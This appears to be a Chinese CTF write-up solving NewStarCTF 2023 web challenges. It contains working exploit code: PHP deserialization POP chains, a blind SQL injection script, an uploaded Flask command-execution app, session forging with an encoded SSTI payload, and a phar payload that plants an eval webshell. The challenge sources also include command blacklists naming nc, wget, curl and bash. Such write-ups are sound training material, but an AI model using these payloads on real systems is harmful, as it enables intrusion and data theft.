NewStarCTF 2023 web(2)

目录

week3

R!!!C!!!E!!!

week4

[More Fast](#More Fast)

midsql

[flask disk](#flask disk)

InjectMe

PharOne


之前没写完的题继续

week3

R!!!C!!!E!!!

php 复制代码
<?php
highlight_file(__FILE__);
class minipop{
    public $code;
    public $qwejaskdjnlka;
    public function __toString()
    {
        if(!preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|tee|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $this->code)){
            exec($this->code);
        }
        return "alright";
    }
    public function __destruct()
    {
        echo $this->qwejaskdjnlka;
    }
}
if(isset($_POST['payload'])){
    //wanna try?
    unserialize($_POST['payload']);
}

ban掉了很多的命令,最终的命令执行是无回显的,但是反弹shell的很多都被ban掉了,

tee也被ban了,但是单引号还在,利用他绕过 t''ee 照样可以执行

构造payload

php 复制代码
<?php

class minipop
{
    public $code;
    public $qwejaskdjnlka;
}

$a=new minipop();

$a->qwejaskdjnlka=new minipop();
$a->qwejaskdjnlka->code="ls / | t''ee 1";

echo serialize($a);

要注意一下 $a->qwejaskdjnlka->code="ls / | t''ee 2";

不是直接 $a->code="ls /| t''ee 2";

然后访问一下 1

再稍微改一下命令
$a->qwejaskdjnlka->code="cat /flag_is_h3eeere | t''ee 2";

得到flag

week4

More Fast

php 复制代码
<?php
highlight_file(__FILE__);

class Start{
    public $errMsg;
    public function __destruct() {
        die($this->errMsg);
    }
}

class Pwn{
    public $obj;
    public function __invoke(){
        $this->obj->evil();
    }
    public function evil() {
        phpinfo();
    }
}

class Reverse{
    public $func;
    public function __get($var) {
        ($this->func)();
    }
}

class Web{
    public $func;
    public $var;
    public function evil() {
        if(!preg_match("/flag/i",$this->var)){
            ($this->func)($this->var);
        }else{
            echo "Not Flag";
        }
    }
}

class Crypto{
    public $obj;
    public function __toString() {
        $wel = $this->obj->good;
        return "NewStar";
    }
}

class Misc{
    public function evil() {
        echo "good job but nothing";
    }
}

$a = @unserialize($_POST['fast']);
throw new Exception("Nope");
复制代码
pop链:
Start __destruct --\>Crypto __toString -\>Reverse __get -\> Pwn __invoke -\>Web evil()
php 复制代码
<?php
// [NewStarCTF 2023 公开赛道]More Fast

highlight_file(__FILE__);

class Start{
    public $errMsg;
    public function __destruct() {
        die($this->errMsg);
    }
}

class Pwn{
    public $obj;
    public function __invoke(){
        $this->obj->evil();
    }
    public function evil() {
        phpinfo();
    }
}

class Reverse{
    public $func;
    public function __get($var) {
        ($this->func)();
    }
}

class Web{
    public $func;
    public $var;
    public function evil() {
        if(!preg_match("/flag/i",$this->var)){
            ($this->func)($this->var);
        }else{
            echo "Not Flag";
        }
    }
}

class Crypto{
    public $obj;
    public function __toString() {
        $wel = $this->obj->good;
        return "NewStar";
    }
}

//class Misc{
//    public function evil() {
//        echo "good job but nothing";
//    }
//}

//$a = @unserialize($_POST['fast']);
//throw new Exception("Nope");

//pop链:
//  Start __destruct  -->Crypto __toString ->Reverse __get -> Pwn __invoke ->Web evil()

$a=new Start();
$a->errMsg=new Crypto();
$a->errMsg->obj=new Reverse();
$a->errMsg->obj->func=new Pwn();
$a->errMsg->obj->func->obj=new Web();
$a->errMsg->obj->func->obj->func='system';
$a->errMsg->obj->func->obj->var='cat /f*';

//echo serialize($a);
//O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}}

$b=array($a,0);
echo serialize($b);
//a:2:{i:0;O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}}i:1;i:0;}
//通过使数组对象为空,绕过throw

直接序列化是不行的,还需要绕过 throw new Exception("Nope");

通过使数组对象为 NULL从而绕过

就是将 i:1 ---> i:0
2023Newstarctf week4 More Fast详解_ctfmore fast-CSDN博客

midsql

经过测试,可以发现过滤了空格,也没有回显

1/**/adn/**/sleep(4)

可以发现执行相对于之前有很明显的延迟,可以时间盲注

借用其他师傅的脚本,但是运行出来的结果都不对劲啊,也不晓得是啥原因,先放着,后面再搞

NewStar2023 Week4 | S3a's blog

python 复制代码
#[NewStarCTF 2023 公开赛道]midsql

import time
import requests

result = ''
last = ' '

for i in range(1, 1000):
    for j in range(127, 31, -1):
        url = 'http://2d353013-f4bd-4846-8e4d-a0bc0a051962.node5.buuoj.cn:81/?id='
        # payload = f'1/**/and/**/if((ascii(substr((select/**/group_concat(schema_name)/**/from/**/information_schema.schemata),{i},1))>{j}),sleep(3),0)' # information_schema,mysql,performance_schema,sys,test,ctf
        # payload = f'1/**/and/**/if((ascii(substr((select/**/database()),{i},1))>{j}),sleep(3),0)'
        # payload = f'1/**/and/**/if((ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/"ctf"),{i},1))>{j}),sleep(3),0)'
        # payload = f'1/**/and/**/if((ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/"items"),{i},1))>{j}),sleep(3),0)' # id,name,price
        # payload = f'1/**/and/**/if((ascii(substr((select/**/group_concat(price)/**/from/**/ctf.items),{i},1))>{j}),sleep(3),0)'
        # payload = f'1/**/and/**/if((ascii(substr((select/**/group_concat(id,0x3a,name,0x3a,price)/**/from/**/ctf.items),{i},1))>{j}),sleep(3),0)'
        payload = f'1/**/and/**/if((ascii(substr((select/**/group_concat(name)/**/from/**/items),{i},1))>{j}),sleep(4),0)'
        url = url + payload
        # print(url)
        start_time = time.time()
        response = requests.get(url=url)
        end_time = time.time()
        if (end_time - start_time) >3:
            last = result
            result += chr(j + 1)
            break
    print(result)

好像几次运行的结果不太一样,可能需要多运行几次才能得到正确的flag吧

flask disk

可以上传文件,编写一个app.py可以rce的程序上传,将原来的程序覆盖掉,在debug开启的情况下,Flask 会自动重新加载应用程序,就可以直接rce了
[NewStarCTF 2023] web题解_ctf web题 发现多个公司员工email-CSDN博客

别人写好的代码:

端口为5000,是题目已经提示了的,

python 复制代码
from flask import Flask,request, render_template_string
import os

app = Flask(__name__)

@app.route('/')
def index():
    try:
        cmd=request.args.get('cmd')
        data=os.popen(cmd).read()
        return data
    except:
        pass
    return 1

if __name__=='__main__':
    app.run(host='0.0.0.0',port=5000,debug=True)

    

上传后就可以直接命令执行了

flag{138ae525-f61c-4ef2-9b20-d64d71683979}

InjectMe

下载有附件

打开题目可以看到下面有很多张图片,其中一张是这个部分的源码

filename = filename.replace('../', '') 这个可以双写绕过, 从而目录遍历

?file=..././..././..././app/app.py 穿越目录,可以下载一个文件,有源码

python 复制代码
import os
import re

from flask import Flask, render_template, request, abort, send_file, session, render_template_string
from config import secret_key

app = Flask(__name__)
app.secret_key = secret_key


@app.route('/')
def hello_world():  # put application's code here
    return render_template('index.html')


@app.route("/cancanneed", methods=["GET"])
def cancanneed():
    all_filename = os.listdir('./static/img/')
    filename = request.args.get('file', '')
    if filename:
        return render_template('img.html', filename=filename, all_filename=all_filename)
    else:
        return f"{str(os.listdir('./static/img/'))} <br> <a href=\"/cancanneed?file=1.jpg\">/cancanneed?file=1.jpg</a>"


@app.route("/download", methods=["GET"])
def download():
    filename = request.args.get('file', '')
    if filename:
        filename = filename.replace('../', '')
        filename = os.path.join('static/img/', filename)
        print(filename)
        if (os.path.exists(filename)) and ("start" not in filename):
            return send_file(filename)
        else:
            abort(500)
    else:
        abort(404)


@app.route('/backdoor', methods=["GET"])
def backdoor():
    try:
        print(session.get("user"))
        if session.get("user") is None:
            session['user'] = "guest"
        name = session.get("user")
        if re.findall(
                r'__|{{|class|base|init|mro|subclasses|builtins|globals|flag|os|system|popen|eval|:|\+|request|cat|tac|base64|nl|hex|\\u|\\x|\.',
                name):
            abort(500)
        else:
            return render_template_string(
                '竟然给<h1>%s</h1>你找到了我的后门,你一定是网络安全大赛冠军吧!😝 <br> 那么 现在轮到你了!<br> 最后祝您玩得愉快!😁' % name)
    except Exception:
        abort(500)


@app.errorhandler(404)
def page_not_find(e):
    return render_template('404.html'), 404


@app.errorhandler(500)
def internal_server_error(e):
    return render_template('500.html'), 500


if __name__ == '__main__':
    app.run('0.0.0.0', port=8080)

还以为直接ssti注入来着,原来还需要 session 伪造,之前还没做过类似的题

需要一个密钥,根据源码可知,密钥存在config.py中

?file=..././..././..././app/config.py 下载文件,拿到密钥

secret_key = "y0u_n3ver_k0nw_s3cret_key_1s_newst4r"

session伪造的工具

GitHub - noraj/flask-session-cookie-manager: :cookie: Flask Session Cookie Decoder/Encoder

利用工具对session解密一下看看

构造相应的ssti注入payload,然后利用工具,得到相应的session,传上去就可以得到flag了

过滤了好多东西,利用八进制绕过

别人写的脚本...

python 复制代码
import re
import requests
import subprocess


# 把这个下载了,需要使用里面的flask-session-cookie-manager3.py
# https://github.com/noraj/flask-session-cookie-manager
def string_to_octal_ascii(s):
    octal_ascii = ""
    for char in s:
        char_code = ord(char)
        octal_ascii += "\\\\" + format(char_code, '03o')
    # octal_ascii += "\\\\" + format(char_code, 'o')
    return octal_ascii


secret_key = "y0u_n3ver_k0nw_s3cret_key_1s_newst4r"
# payload = "{%print(7*7)%}"
# payload = "{%print(\"\"\\\\u005f\\\\u005f\"\")%}"
# payload = "{%print(\"\"\\\\x5f\\\\x5f\"\")%}"
eval_shell = "\"\"" + string_to_octal_ascii("__import__(\"os\").popen(\"cat /*\").read()") + "\"\""
print(eval_shell)
# docker部署&windows运行payload
# {{x.__init__.__globals__.__builtins__.eval('__import__("os").popen("dir").read()')}}
payload = "{{%print(xxx|attr(\"\"\\\\137\\\\137\\\\151\\\\156\\\\151\\\\164\\\\137\\\\137\"\")|attr(\"\"\\\\137\\\\137\\\\147\\\\154\\\\157\\\\142\\\\141\\\\154\\\\163\\\\137\\\\137\"\")|attr(\"\"\\\\137\\\\137\\\\147\\\\145\\\\164\\\\151\\\\164\\\\145\\\\155\\\\137\\\\137\"\")(\"\"\\\\137\\\\137\\\\142\\\\165\\\\151\\\\154\\\\164\\\\151\\\\156\\\\163\\\\137\\\\137\"\")|attr(\"\"\\\\137\\\\137\\\\147\\\\145\\\\164\\\\151\\\\164\\\\145\\\\155\\\\137\\\\137\"\")(\"\"\\\\145\\\\166\\\\141\\\\154\"\")({0}))%}}".format(eval_shell)
print(payload)
command = "D:\\program\\python3\\python.exe flask_session_cookie_manager3.py encode -s \"{0}\" -t \"{{'user':'{1}'}}\"".format(secret_key, payload)
print(command)
session_data = subprocess.check_output(command, shell=True)
print(session_data)
# linux和windows换行不一样,linux是去掉最后一个,windows是最后两个。
session_data = session_data[:-2].decode('utf-8')
# session_data = session_data[:-1].decode('utf-8')
print(session_data)
url = "http://0b401771-d36b-47ca-8971-2b9dedf4b9e0.node4.buuoj.cn:81/backdoor"
cookies = {"session": session_data}
res = requests.get(url=url, cookies=cookies)
# print(res.text)
pattern = r'<h1>(.*)</h1>'
result_content = re.search(pattern, res.text, re.S)
# print(result_content)
if result_content:
    result = result_content.group(1)
    print(result)
else:
    print("something wrong!")

主要是这个payload

{'user':'{%print(xxx|attr(""\\137\\137\\151\\156\\151\\164\\137\\137"")|attr(""\\137\\137\\147\\154\\157\\142\\141\\154\\163\\137\\137"")|attr(""\\137\\137\\147\\145\\164\\151\\164\\145\\155\\137\\137"")(""\\137\\137\\142\\165\\151\\154\\164\\151\\156\\163\\137\\137"")|attr(""\\137\\137\\147\\145\\164\\151\\164\\145\\155\\137\\137"")(""\\145\\166\\141\\154"")(""\\137\\137\\151\\155\\160\\157\\162\\164\\137\\137\\050\\042\\157\\163\\042\\051\\056\\160\\157\\160\\145\\156\\050\\042\\143\\141\\164\\040\\057\\052\\042\\051\\056\\162\\145\\141\\144\\050\\051""))%}'}"

得到相应的session

.eJy1kD0OwjAMhe9iqVK7uYltJM6ShYGBBaFSpEqld6d26v7QDiwsVhK_9_k5Pbye1wbO0BeP5nZvy67r3pe2bcoEKdXx5IVrLeInoVUXqkMLmU-FbNegpfY3iT8SiH3eMtnemDeEnVnnCc_ZaYOxVf6UIatlte4-XQ5hQvQfkvD9swl57KKtkiVxuqICMG-xAHDOJRsvRQ-jeCRtsOHDAS84xRxEjholUFXFAMMHKM2ZMA.Zlhx4A.shEAGQ23cjb3gNorqM9pzt4k9-w

将这个session替换掉原先的session,就可以得到flag了

PharOne

可以上传文件

查看源代码,有class.php

phar文件上传,需要gzip压缩

写好代码

php 复制代码
<?php
class Flag{
    public $cmd;
}

$a=new Flag();
$a->cmd="echo \"<?=@eval(\\\$_POST[1]);\">/var/www/html/1.php";
$phar = new Phar("1.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

$_POST这里得是3个反斜杠,试了一个和两个的,都是报错了,有点莫名奇妙

运行后有一个1.phar,然后gzip命令压缩一下,再更改一下后缀为1.jpg,上传

到class.php 下,利用phar伪协议

file=phar://路径

然后到1.php下执行命令

相关推荐
王ASC11 小时前
SpringMVC的URL组成,以及URI中对/斜杠的处理,解决IllegalStateException: Ambiguous mapping
java·mvc·springboot·web
非凡的世界2 天前
5个用于构建Web应用程序的Go Web框架
golang·go·框架·web
每天进步一大步2 天前
webSokect安卓和web适配的Bug 适用实时语音场景
android·前端·bug·web
吾即是光3 天前
[HNCTF 2022 Week1]你想学密码吗?
ctf
cheungxiongwei.com3 天前
使用 acme.sh 申请域名 SSL/TLS 证书完整指南
网络·nginx·https·ssl·web·acme
Anna_Tong3 天前
ASP.NET Core 与 Blazor:现代 Web 开发技术的全新视角
前端·后端·微软·asp.net·web·技术
吾即是光3 天前
[NSSCTF 2022 Spring Recruit]factor
ctf
吾即是光3 天前
[LitCTF 2023]easy_math (中级)
ctf
吾即是光4 天前
[HNCTF 2022 Week1]baby_rsa
ctf
Py办公羊大侠5 天前
【SH】在Ubuntu Server 24中基于Python Web应用的Flask Web开发(实现POST请求)学习笔记
后端·python·ubuntu·flask·web·post